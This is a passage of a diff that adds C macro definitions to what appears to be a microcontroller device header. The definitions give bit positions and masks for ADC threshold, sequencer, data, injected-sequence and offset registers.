ADC_TR1_HT1_Pos) /*!< 0x0FFF0000 */ +#define ADC_TR1_HT1 ADC_TR1_HT1_Msk /*!< ADC analog watchdog 1 threshold high */ + +/******************** Bit definition for ADC_TR2 register *******************/ +#define ADC_TR2_LT2_Pos (0U) +#define ADC_TR2_LT2_Msk (0xFFUL << ADC_TR2_LT2_Pos) /*!< 0x000000FF */ +#define ADC_TR2_LT2 ADC_TR2_LT2_Msk /*!< ADC analog watchdog 2 threshold low */ + +#define ADC_TR2_HT2_Pos (16U) +#define ADC_TR2_HT2_Msk (0xFFUL << ADC_TR2_HT2_Pos) /*!< 0x00FF0000 */ +#define ADC_TR2_HT2 ADC_TR2_HT2_Msk /*!< ADC analog watchdog 2 threshold high */ + +/******************** Bit definition for ADC_TR3 register *******************/ +#define ADC_TR3_LT3_Pos (0U) +#define ADC_TR3_LT3_Msk (0xFFUL << ADC_TR3_LT3_Pos) /*!< 0x000000FF */ +#define ADC_TR3_LT3 ADC_TR3_LT3_Msk /*!< ADC analog watchdog 3 threshold low */ + +#define ADC_TR3_HT3_Pos (16U) +#define ADC_TR3_HT3_Msk (0xFFUL << ADC_TR3_HT3_Pos) /*!< 0x00FF0000 */ +#define ADC_TR3_HT3 ADC_TR3_HT3_Msk /*!< ADC analog watchdog 3 threshold high */ + +/******************** Bit definition for ADC_SQR1 register ******************/ +#define ADC_SQR1_L_Pos (0U) +#define ADC_SQR1_L_Msk (0xFUL << ADC_SQR1_L_Pos) /*!< 0x0000000F */ +#define ADC_SQR1_L ADC_SQR1_L_Msk /*!< ADC group regular sequencer scan length */ +#define ADC_SQR1_L_0 (0x1UL << ADC_SQR1_L_Pos) /*!< 0x00000001 */ +#define ADC_SQR1_L_1 (0x2UL << ADC_SQR1_L_Pos) /*!< 0x00000002 */ +#define ADC_SQR1_L_2 (0x4UL << ADC_SQR1_L_Pos) /*!< 0x00000004 */ +#define ADC_SQR1_L_3 (0x8UL << ADC_SQR1_L_Pos) /*!< 0x00000008 */ + +#define ADC_SQR1_SQ1_Pos (6U) +#define ADC_SQR1_SQ1_Msk (0x1FUL << ADC_SQR1_SQ1_Pos) /*!< 0x000007C0 */ +#define ADC_SQR1_SQ1 ADC_SQR1_SQ1_Msk /*!< ADC group regular sequencer rank 1 */ +#define ADC_SQR1_SQ1_0 (0x01UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000040 */ +#define ADC_SQR1_SQ1_1 (0x02UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000080 */ +#define ADC_SQR1_SQ1_2 (0x04UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000100 */ +#define ADC_SQR1_SQ1_3 (0x08UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000200 */ +#define ADC_SQR1_SQ1_4 (0x10UL << ADC_SQR1_SQ1_Pos) /*!< 0x00000400 */ + +#define ADC_SQR1_SQ2_Pos (12U) +#define ADC_SQR1_SQ2_Msk (0x1FUL << ADC_SQR1_SQ2_Pos) /*!< 0x0001F000 */ +#define ADC_SQR1_SQ2 ADC_SQR1_SQ2_Msk /*!< ADC group regular sequencer rank 2 */ +#define ADC_SQR1_SQ2_0 (0x01UL << ADC_SQR1_SQ2_Pos) /*!< 0x00001000 */ +#define ADC_SQR1_SQ2_1 (0x02UL << ADC_SQR1_SQ2_Pos) /*!< 0x00002000 */ +#define ADC_SQR1_SQ2_2 (0x04UL << ADC_SQR1_SQ2_Pos) /*!< 0x00004000 */ +#define ADC_SQR1_SQ2_3 (0x08UL << ADC_SQR1_SQ2_Pos) /*!< 0x00008000 */ +#define ADC_SQR1_SQ2_4 (0x10UL << ADC_SQR1_SQ2_Pos) /*!< 0x00010000 */ + +#define ADC_SQR1_SQ3_Pos (18U) +#define ADC_SQR1_SQ3_Msk (0x1FUL << ADC_SQR1_SQ3_Pos) /*!< 0x007C0000 */ +#define ADC_SQR1_SQ3 ADC_SQR1_SQ3_Msk /*!< ADC group regular sequencer rank 3 */ +#define ADC_SQR1_SQ3_0 (0x01UL << ADC_SQR1_SQ3_Pos) /*!< 0x00040000 */ +#define ADC_SQR1_SQ3_1 (0x02UL << ADC_SQR1_SQ3_Pos) /*!< 0x00080000 */ +#define ADC_SQR1_SQ3_2 (0x04UL << ADC_SQR1_SQ3_Pos) /*!< 0x00100000 */ +#define ADC_SQR1_SQ3_3 (0x08UL << ADC_SQR1_SQ3_Pos) /*!< 0x00200000 */ +#define ADC_SQR1_SQ3_4 (0x10UL<< ADC_SQR1_SQ3_Pos) /*!< 0x00400000 */ + +#define ADC_SQR1_SQ4_Pos (24U) +#define ADC_SQR1_SQ4_Msk (0x1FUL << ADC_SQR1_SQ4_Pos) /*!< 0x1F000000 */ +#define ADC_SQR1_SQ4 ADC_SQR1_SQ4_Msk /*!< ADC group regular sequencer rank 4 */ +#define ADC_SQR1_SQ4_0 (0x01UL << ADC_SQR1_SQ4_Pos) /*!< 0x01000000 */ +#define ADC_SQR1_SQ4_1 (0x02UL << ADC_SQR1_SQ4_Pos) /*!< 0x02000000 */ +#define ADC_SQR1_SQ4_2 (0x04UL << ADC_SQR1_SQ4_Pos) /*!< 0x04000000 */ +#define ADC_SQR1_SQ4_3 (0x08UL << ADC_SQR1_SQ4_Pos) /*!< 0x08000000 */ +#define ADC_SQR1_SQ4_4 (0x10UL << ADC_SQR1_SQ4_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR2 register ******************/ +#define ADC_SQR2_SQ5_Pos (0U) +#define ADC_SQR2_SQ5_Msk (0x1FUL << ADC_SQR2_SQ5_Pos) /*!< 0x0000001F */ +#define ADC_SQR2_SQ5 ADC_SQR2_SQ5_Msk /*!< ADC group regular sequencer rank 5 */ +#define ADC_SQR2_SQ5_0 (0x01UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000001 */ +#define ADC_SQR2_SQ5_1 (0x02UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000002 */ +#define ADC_SQR2_SQ5_2 (0x04UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000004 */ +#define ADC_SQR2_SQ5_3 (0x08UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000008 */ +#define ADC_SQR2_SQ5_4 (0x10UL << ADC_SQR2_SQ5_Pos) /*!< 0x00000010 */ + +#define ADC_SQR2_SQ6_Pos (6U) +#define ADC_SQR2_SQ6_Msk (0x1FUL << ADC_SQR2_SQ6_Pos) /*!< 0x000007C0 */ +#define ADC_SQR2_SQ6 ADC_SQR2_SQ6_Msk /*!< ADC group regular sequencer rank 6 */ +#define ADC_SQR2_SQ6_0 (0x01UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000040 */ +#define ADC_SQR2_SQ6_1 (0x02UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000080 */ +#define ADC_SQR2_SQ6_2 (0x04UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000100 */ +#define ADC_SQR2_SQ6_3 (0x08UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000200 */ +#define ADC_SQR2_SQ6_4 (0x10UL << ADC_SQR2_SQ6_Pos) /*!< 0x00000400 */ + +#define ADC_SQR2_SQ7_Pos (12U) +#define ADC_SQR2_SQ7_Msk (0x1FUL << ADC_SQR2_SQ7_Pos) /*!< 0x0001F000 */ +#define ADC_SQR2_SQ7 ADC_SQR2_SQ7_Msk /*!< ADC group regular sequencer rank 7 */ +#define ADC_SQR2_SQ7_0 (0x01UL << ADC_SQR2_SQ7_Pos) /*!< 0x00001000 */ +#define ADC_SQR2_SQ7_1 (0x02UL << ADC_SQR2_SQ7_Pos) /*!< 0x00002000 */ +#define ADC_SQR2_SQ7_2 (0x04UL << ADC_SQR2_SQ7_Pos) /*!< 0x00004000 */ +#define ADC_SQR2_SQ7_3 (0x08UL << ADC_SQR2_SQ7_Pos) /*!< 0x00008000 */ +#define ADC_SQR2_SQ7_4 (0x10UL << ADC_SQR2_SQ7_Pos) /*!< 0x00010000 */ + +#define ADC_SQR2_SQ8_Pos (18U) +#define ADC_SQR2_SQ8_Msk (0x1FUL << ADC_SQR2_SQ8_Pos) /*!< 0x007C0000 */ +#define ADC_SQR2_SQ8 ADC_SQR2_SQ8_Msk /*!< ADC group regular sequencer rank 8 */ +#define ADC_SQR2_SQ8_0 (0x01UL << ADC_SQR2_SQ8_Pos) /*!< 0x00040000 */ +#define ADC_SQR2_SQ8_1 (0x02UL << ADC_SQR2_SQ8_Pos) /*!< 0x00080000 */ +#define ADC_SQR2_SQ8_2 (0x04UL << ADC_SQR2_SQ8_Pos) /*!< 0x00100000 */ +#define ADC_SQR2_SQ8_3 (0x08UL << ADC_SQR2_SQ8_Pos) /*!< 0x00200000 */ +#define ADC_SQR2_SQ8_4 (0x10UL << ADC_SQR2_SQ8_Pos) /*!< 0x00400000 */ + +#define ADC_SQR2_SQ9_Pos (24U) +#define ADC_SQR2_SQ9_Msk (0x1FUL << ADC_SQR2_SQ9_Pos) /*!< 0x1F000000 */ +#define ADC_SQR2_SQ9 ADC_SQR2_SQ9_Msk /*!< ADC group regular sequencer rank 9 */ +#define ADC_SQR2_SQ9_0 (0x01UL << ADC_SQR2_SQ9_Pos) /*!< 0x01000000 */ +#define ADC_SQR2_SQ9_1 (0x02UL << ADC_SQR2_SQ9_Pos) /*!< 0x02000000 */ +#define ADC_SQR2_SQ9_2 (0x04UL << ADC_SQR2_SQ9_Pos) /*!< 0x04000000 */ +#define ADC_SQR2_SQ9_3 (0x08UL << ADC_SQR2_SQ9_Pos) /*!< 0x08000000 */ +#define ADC_SQR2_SQ9_4 (0x10UL << ADC_SQR2_SQ9_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR3 register ******************/ +#define ADC_SQR3_SQ10_Pos (0U) +#define ADC_SQR3_SQ10_Msk (0x1FUL << ADC_SQR3_SQ10_Pos) /*!< 0x0000001F */ +#define ADC_SQR3_SQ10 ADC_SQR3_SQ10_Msk /*!< ADC group regular sequencer rank 10 */ +#define ADC_SQR3_SQ10_0 (0x01UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000001 */ +#define ADC_SQR3_SQ10_1 (0x02UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000002 */ +#define ADC_SQR3_SQ10_2 (0x04UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000004 */ +#define ADC_SQR3_SQ10_3 (0x08UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000008 */ +#define ADC_SQR3_SQ10_4 (0x10UL << ADC_SQR3_SQ10_Pos) /*!< 0x00000010 */ + +#define ADC_SQR3_SQ11_Pos (6U) +#define ADC_SQR3_SQ11_Msk (0x1FUL << ADC_SQR3_SQ11_Pos) /*!< 0x000007C0 */ +#define ADC_SQR3_SQ11 ADC_SQR3_SQ11_Msk /*!< ADC group regular sequencer rank 11 */ +#define ADC_SQR3_SQ11_0 (0x01UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000040 */ +#define ADC_SQR3_SQ11_1 (0x02UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000080 */ +#define ADC_SQR3_SQ11_2 (0x04UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000100 */ +#define ADC_SQR3_SQ11_3 (0x08UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000200 */ +#define ADC_SQR3_SQ11_4 (0x10UL << ADC_SQR3_SQ11_Pos) /*!< 0x00000400 */ + +#define ADC_SQR3_SQ12_Pos (12U) +#define ADC_SQR3_SQ12_Msk (0x1FUL << ADC_SQR3_SQ12_Pos) /*!< 0x0001F000 */ +#define ADC_SQR3_SQ12 ADC_SQR3_SQ12_Msk /*!< ADC group regular sequencer rank 12 */ +#define ADC_SQR3_SQ12_0 (0x01UL << ADC_SQR3_SQ12_Pos) /*!< 0x00001000 */ +#define ADC_SQR3_SQ12_1 (0x02UL << ADC_SQR3_SQ12_Pos) /*!< 0x00002000 */ +#define ADC_SQR3_SQ12_2 (0x04UL << ADC_SQR3_SQ12_Pos) /*!< 0x00004000 */ +#define ADC_SQR3_SQ12_3 (0x08UL << ADC_SQR3_SQ12_Pos) /*!< 0x00008000 */ +#define ADC_SQR3_SQ12_4 (0x10UL << ADC_SQR3_SQ12_Pos) /*!< 0x00010000 */ + +#define ADC_SQR3_SQ13_Pos (18U) +#define ADC_SQR3_SQ13_Msk (0x1FUL << ADC_SQR3_SQ13_Pos) /*!< 0x007C0000 */ +#define ADC_SQR3_SQ13 ADC_SQR3_SQ13_Msk /*!< ADC group regular sequencer rank 13 */ +#define ADC_SQR3_SQ13_0 (0x01UL << ADC_SQR3_SQ13_Pos) /*!< 0x00040000 */ +#define ADC_SQR3_SQ13_1 (0x02UL << ADC_SQR3_SQ13_Pos) /*!< 0x00080000 */ +#define ADC_SQR3_SQ13_2 (0x04UL << ADC_SQR3_SQ13_Pos) /*!< 0x00100000 */ +#define ADC_SQR3_SQ13_3 (0x08UL << ADC_SQR3_SQ13_Pos) /*!< 0x00200000 */ +#define ADC_SQR3_SQ13_4 (0x10UL << ADC_SQR3_SQ13_Pos) /*!< 0x00400000 */ + +#define ADC_SQR3_SQ14_Pos (24U) +#define ADC_SQR3_SQ14_Msk (0x1FUL << ADC_SQR3_SQ14_Pos) /*!< 0x1F000000 */ +#define ADC_SQR3_SQ14 ADC_SQR3_SQ14_Msk /*!< ADC group regular sequencer rank 14 */ +#define ADC_SQR3_SQ14_0 (0x01UL << ADC_SQR3_SQ14_Pos) /*!< 0x01000000 */ +#define ADC_SQR3_SQ14_1 (0x02UL << ADC_SQR3_SQ14_Pos) /*!< 0x02000000 */ +#define ADC_SQR3_SQ14_2 (0x04UL << ADC_SQR3_SQ14_Pos) /*!< 0x04000000 */ +#define ADC_SQR3_SQ14_3 (0x08UL << ADC_SQR3_SQ14_Pos) /*!< 0x08000000 */ +#define ADC_SQR3_SQ14_4 (0x10UL << ADC_SQR3_SQ14_Pos) /*!< 0x10000000 */ + +/******************** Bit definition for ADC_SQR4 register ******************/ +#define ADC_SQR4_SQ15_Pos (0U) +#define ADC_SQR4_SQ15_Msk (0x1FUL << ADC_SQR4_SQ15_Pos) /*!< 0x0000001F */ +#define ADC_SQR4_SQ15 ADC_SQR4_SQ15_Msk /*!< ADC group regular sequencer rank 15 */ +#define ADC_SQR4_SQ15_0 (0x01UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000001 */ +#define ADC_SQR4_SQ15_1 (0x02UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000002 */ +#define ADC_SQR4_SQ15_2 (0x04UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000004 */ +#define ADC_SQR4_SQ15_3 (0x08UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000008 */ +#define ADC_SQR4_SQ15_4 (0x10UL << ADC_SQR4_SQ15_Pos) /*!< 0x00000010 */ + +#define ADC_SQR4_SQ16_Pos (6U) +#define ADC_SQR4_SQ16_Msk (0x1FUL << ADC_SQR4_SQ16_Pos) /*!< 0x000007C0 */ +#define ADC_SQR4_SQ16 ADC_SQR4_SQ16_Msk /*!< ADC group regular sequencer rank 16 */ +#define ADC_SQR4_SQ16_0 (0x01UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000040 */ +#define ADC_SQR4_SQ16_1 (0x02UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000080 */ +#define ADC_SQR4_SQ16_2 (0x04UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000100 */ +#define ADC_SQR4_SQ16_3 (0x08UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000200 */ +#define ADC_SQR4_SQ16_4 (0x10UL << ADC_SQR4_SQ16_Pos) /*!< 0x00000400 */ + +/******************** Bit definition for ADC_DR register ********************/ +#define ADC_DR_RDATA_Pos (0U) +#define ADC_DR_RDATA_Msk (0xFFFFUL << ADC_DR_RDATA_Pos) /*!< 0x0000FFFF */ +#define ADC_DR_RDATA ADC_DR_RDATA_Msk /*!< ADC group regular conversion data */ + +/******************** Bit definition for ADC_JSQR register ******************/ +#define ADC_JSQR_JL_Pos (0U) +#define ADC_JSQR_JL_Msk (0x3UL << ADC_JSQR_JL_Pos) /*!< 0x00000003 */ +#define ADC_JSQR_JL ADC_JSQR_JL_Msk /*!< ADC group injected sequencer scan length */ +#define ADC_JSQR_JL_0 (0x1UL << ADC_JSQR_JL_Pos) /*!< 0x00000001 */ +#define ADC_JSQR_JL_1 (0x2UL << ADC_JSQR_JL_Pos) /*!< 0x00000002 */ + +#define ADC_JSQR_JEXTSEL_Pos (2U) +#define ADC_JSQR_JEXTSEL_Msk (0x1FUL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x0000007C */ +#define ADC_JSQR_JEXTSEL ADC_JSQR_JEXTSEL_Msk /*!< ADC group injected external trigger source */ +#define ADC_JSQR_JEXTSEL_0 (0x1UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000004 */ +#define ADC_JSQR_JEXTSEL_1 (0x2UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000008 */ +#define ADC_JSQR_JEXTSEL_2 (0x4UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000010 */ +#define ADC_JSQR_JEXTSEL_3 (0x8UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000020 */ +#define ADC_JSQR_JEXTSEL_4 (0x10UL << ADC_JSQR_JEXTSEL_Pos) /*!< 0x00000040 */ + +#define ADC_JSQR_JEXTEN_Pos (7U) +#define ADC_JSQR_JEXTEN_Msk (0x3UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000180 */ +#define ADC_JSQR_JEXTEN ADC_JSQR_JEXTEN_Msk /*!< ADC group injected external trigger polarity */ +#define ADC_JSQR_JEXTEN_0 (0x1UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000080 */ +#define ADC_JSQR_JEXTEN_1 (0x2UL << ADC_JSQR_JEXTEN_Pos) /*!< 0x00000100 */ + +#define ADC_JSQR_JSQ1_Pos (9U) +#define ADC_JSQR_JSQ1_Msk (0x1FUL << ADC_JSQR_JSQ1_Pos) /*!< 0x00003E00 */ +#define ADC_JSQR_JSQ1 ADC_JSQR_JSQ1_Msk /*!< ADC group injected sequencer rank 1 */ +#define ADC_JSQR_JSQ1_0 (0x01UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000200 */ +#define ADC_JSQR_JSQ1_1 (0x02UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000400 */ +#define ADC_JSQR_JSQ1_2 (0x04UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00000800 */ +#define ADC_JSQR_JSQ1_3 (0x08UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00001000 */ +#define ADC_JSQR_JSQ1_4 (0x10UL << ADC_JSQR_JSQ1_Pos) /*!< 0x00002000 */ + +#define ADC_JSQR_JSQ2_Pos (15U) +#define ADC_JSQR_JSQ2_Msk (0x1FUL << ADC_JSQR_JSQ2_Pos) /*!< 0x0007C000 */ +#define ADC_JSQR_JSQ2 ADC_JSQR_JSQ2_Msk /*!< ADC group injected sequencer rank 2 */ +#define ADC_JSQR_JSQ2_0 (0x01UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00004000 */ +#define ADC_JSQR_JSQ2_1 (0x02UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00008000 */ +#define ADC_JSQR_JSQ2_2 (0x04UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00010000 */ +#define ADC_JSQR_JSQ2_3 (0x08UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00020000 */ +#define ADC_JSQR_JSQ2_4 (0x10UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00040000 */ + +#define ADC_JSQR_JSQ3_Pos (21U) +#define ADC_JSQR_JSQ3_Msk (0x1FUL << ADC_JSQR_JSQ3_Pos) /*!< 0x03E00000 */ +#define ADC_JSQR_JSQ3 ADC_JSQR_JSQ3_Msk /*!< ADC group injected sequencer rank 3 */ +#define ADC_JSQR_JSQ3_0 (0x01UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00200000 */ +#define ADC_JSQR_JSQ3_1 (0x02UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00400000 */ +#define ADC_JSQR_JSQ3_2 (0x04UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00800000 */ +#define ADC_JSQR_JSQ3_3 (0x08UL << ADC_JSQR_JSQ3_Pos) /*!< 0x01000000 */ +#define ADC_JSQR_JSQ3_4 (0x10UL << ADC_JSQR_JSQ3_Pos) /*!< 0x02000000 */ + +#define ADC_JSQR_JSQ4_Pos (27U) +#define ADC_JSQR_JSQ4_Msk (0x1FUL << ADC_JSQR_JSQ4_Pos) /*!< 0xF8000000 */ +#define ADC_JSQR_JSQ4 ADC_JSQR_JSQ4_Msk /*!< ADC group injected sequencer rank 4 */ +#define ADC_JSQR_JSQ4_0 (0x01UL << ADC_JSQR_JSQ4_Pos) /*!< 0x08000000 */ +#define ADC_JSQR_JSQ4_1 (0x02UL << ADC_JSQR_JSQ4_Pos) /*!< 0x10000000 */ +#define ADC_JSQR_JSQ4_2 (0x04UL << ADC_JSQR_JSQ4_Pos) /*!< 0x20000000 */ +#define ADC_JSQR_JSQ4_3 (0x08UL << ADC_JSQR_JSQ4_Pos) /*!< 0x40000000 */ +#define ADC_JSQR_JSQ4_4 (0x10UL << ADC_JSQR_JSQ4_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_OFR1 register ******************/ +#define ADC_OFR1_OFFSET1_Pos (0U) +#define ADC_OFR1_OFFSET1_Msk (0xFFFUL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000FFF */ +#define ADC_OFR1_OFFSET1 ADC_OFR1_OFFSET1_Msk /*!< ADC offset number 1 offset level */ + +#define ADC_OFR1_OFFSETPOS_Pos (24U) +#define ADC_OFR1_OFFSETPOS_Msk (0x1UL << ADC_OFR1_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR1_OFFSETPOS ADC_OFR1_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR1_SATEN_Pos (25U) +#define ADC_OFR1_SATEN_Msk (0x1UL << ADC_OFR1_SATEN_Pos) /*!< 0x02000000 */ +#define ADC_OFR1_SATEN ADC_OFR1_SATEN_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR1_OFFSET1_CH_Pos (26U) +#define ADC_OFR1_OFFSET1_CH_Msk (0x1FUL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR1_OFFSET1_CH ADC_OFR1_OFFSET1_CH_Msk /*!< ADC offset number 1 channel selection */ +#define ADC_OFR1_OFFSET1_CH_0 (0x01UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR1_OFFSET1_CH_1 (0x02UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR1_OFFSET1_CH_2 (0x04UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR1_OFFSET1_CH_3 (0x08UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR1_OFFSET1_CH_4 (0x10UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x40000000 */ + +#define ADC_OFR1_OFFSET1_EN_Pos (31U) +#define ADC_OFR1_OFFSET1_EN_Msk (0x1UL << ADC_OFR1_OFFSET1_EN_Pos) /*!< 0x80000000 */ +#define ADC_OFR1_OFFSET1_EN ADC_OFR1_OFFSET1_EN_Msk /*!< ADC offset number 1 enable */ + +/******************** Bit definition for ADC_OFR2 register ******************/ +#define ADC_OFR2_OFFSET2_Pos (0U) +#define ADC_OFR2_OFFSET2_Msk (0xFFFUL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000FFF */ +#define ADC_OFR2_OFFSET2 ADC_OFR2_OFFSET2_Msk /*!< ADC offset number 2 offset level */ + +#define ADC_OFR2_OFFSETPOS_Pos (24U) +#define ADC_OFR2_OFFSETPOS_Msk (0x1UL << ADC_OFR2_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR2_OFFSETPOS ADC_OFR2_OFFSETPOS_Msk /*!< ADC offset number 2 positive */ +#define ADC_OFR2_SATEN_Pos (25U) +#define ADC_OFR2_SATEN_Msk (0x1UL << ADC_OFR2_SATEN_Pos) /*!< 0x02000000 */ +#define ADC_OFR2_SATEN ADC_OFR2_SATEN_Msk /*!< ADC offset number 2 saturation enable */ + +#define ADC_OFR2_OFFSET2_CH_Pos (26U) +#define ADC_OFR2_OFFSET2_CH_Msk (0x1FUL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR2_OFFSET2_CH ADC_OFR2_OFFSET2_CH_Msk /*!< ADC offset number 2 channel selection */ +#define ADC_OFR2_OFFSET2_CH_0 (0x01UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR2_OFFSET2_CH_1 (0x02UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR2_OFFSET2_CH_2 (0x04UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR2_OFFSET2_CH_3 (0x08UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR2_OFFSET2_CH_4 (0x10UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x40000000 */ + +#define ADC_OFR2_OFFSET2_EN_Pos (31U) +#define ADC_OFR2_OFFSET2_EN_Msk (0x1UL << ADC_OFR2_OFFSET2_EN_Pos) /*!< 0x80000000 */ +#define ADC_OFR2_OFFSET2_EN ADC_OFR2_OFFSET2_EN_Msk /*!< ADC offset number 2 enable */ + +/******************** Bit definition for ADC_OFR3 register ******************/ +#define ADC_OFR3_OFFSET3_Pos (0U) +#define ADC_OFR3_OFFSET3_Msk (0xFFFUL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000FFF */ +#define ADC_OFR3_OFFSET3 ADC_OFR3_OFFSET3_Msk /*!< ADC offset number 3 offset level */ + +#define ADC_OFR3_OFFSETPOS_Pos (24U) +#define ADC_OFR3_OFFSETPOS_Msk (0x1UL << ADC_OFR3_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR3_OFFSETPOS ADC_OFR3_OFFSETPOS_Msk /*!< ADC offset number 3 positive */ +#define ADC_OFR3_SATEN_Pos (25U) +#define ADC_OFR3_SATEN_Msk (0x1UL << ADC_OFR3_SATEN_Pos) /*!< 0x02000000 */ +#define ADC_OFR3_SATEN ADC_OFR3_SATEN_Msk /*!< ADC offset number 3 saturation enable */ + +#define ADC_OFR3_OFFSET3_CH_Pos (26U) +#define ADC_OFR3_OFFSET3_CH_Msk (0x1FUL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR3_OFFSET3_CH ADC_OFR3_OFFSET3_CH_Msk /*!< ADC offset number 3 channel selection */ +#define ADC_OFR3_OFFSET3_CH_0 (0x01UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR3_OFFSET3_CH_1 (0x02UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR3_OFFSET3_CH_2 (0x04UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR3_OFFSET3_CH_3 (0x08UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR3_OFFSET3_CH_4 (0x10UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x40000000 */ + +#define ADC_OFR3_OFFSET3_EN_Pos (31U) +#define ADC_OFR3_OFFSET3_EN_Msk (0x1UL << ADC_OFR3_OFFSET3_EN_Pos) /*!< 0x80000000 */ +#define ADC_OFR3_OFFSET3_EN ADC_OFR3_OFFSET3_EN_Msk /*!< ADC offset number 3 enable */ + +/******************** Bit definition for ADC_OFR4 register ******************/ +#define ADC_OFR4_OFFSET4_Pos (0U) +#define ADC_OFR4_OFFSET4_Msk (0xFFFUL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000FFF */ +#define ADC_OFR4_OFFSET4 ADC_OFR4_OFFSET4_Msk /*!< ADC offset number 4 offset level */ + +#define ADC_OFR4_OFFSETPOS_Pos (24U) +#define ADC_OFR4_OFFSETPOS_Msk (0x1UL << ADC_OFR4_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR4_OFFSETPOS ADC_OFR4_OFFSETPOS_Msk /*!< ADC offset number 4 positive */ +#define ADC_OFR4_SATEN_Pos (25U) +#define ADC_OFR4_SATEN_Msk (0x1UL << ADC_OFR4_SATEN_Pos) /*!< 0x02000000 */ +#define ADC_OFR4_SATEN ADC_OFR4_SATEN_Msk /*!< ADC offset number 4 saturation enable */ + +#define ADC_OFR4_OFFSET4_CH_Pos (26U) +#define ADC_OFR4_OFFSET4_CH_Msk (0x1FUL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR4_OFFSET4_CH ADC_OFR4_OFFSET4_CH_Msk /*!< ADC offset number 4 channel selection */ +#define ADC_OFR4_OFFSET4_CH_0 (0x01UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR4_OFFSET4_CH_1 (0x02UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR4_OFFSET4_CH_2 (0x04UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR4_OFFSET4_CH_3 (0x08UL << 